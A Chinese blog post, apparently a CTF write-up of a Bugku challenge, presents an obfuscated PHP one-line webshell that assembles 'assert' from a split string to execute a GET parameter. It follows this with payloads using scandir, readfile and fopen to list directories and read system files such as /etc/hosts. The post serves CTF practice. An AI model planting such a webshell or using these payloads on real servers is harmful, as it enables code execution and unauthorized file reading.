bugku——过狗一句话(奇淫技巧)

今天学校ctf战队给了个bugku的题不过改了一下,我觉得挺有意思的,做一下记录。

题目

<?php 
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>

 exlpde()分割a#s#s#e#r#t为assert,使用assert()函数的解析传进来的s串,assert有代码执行漏洞。

解题payload

?s=print_r(scandir('./'))

扫描当前目录,并按数组输出。

url添加f94lag.txt,就可以拿到flag了。

奇淫技巧

利用此漏洞查询其他文件,例如hosts

首先,扫描上级目录,payload

?s=print_r(scandir('../'))

看到这是linux操作系统的文件目录

所以hosts应该在etc里面,读一下就能看到了。

2. 使用fopen() 或者 readfile() 函数读取文件

样例payload

?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))

任意文件读取,实在太骚了。

猜你喜欢

转载自blog.csdn.net/qq_41420747/article/details/82193325
今日推荐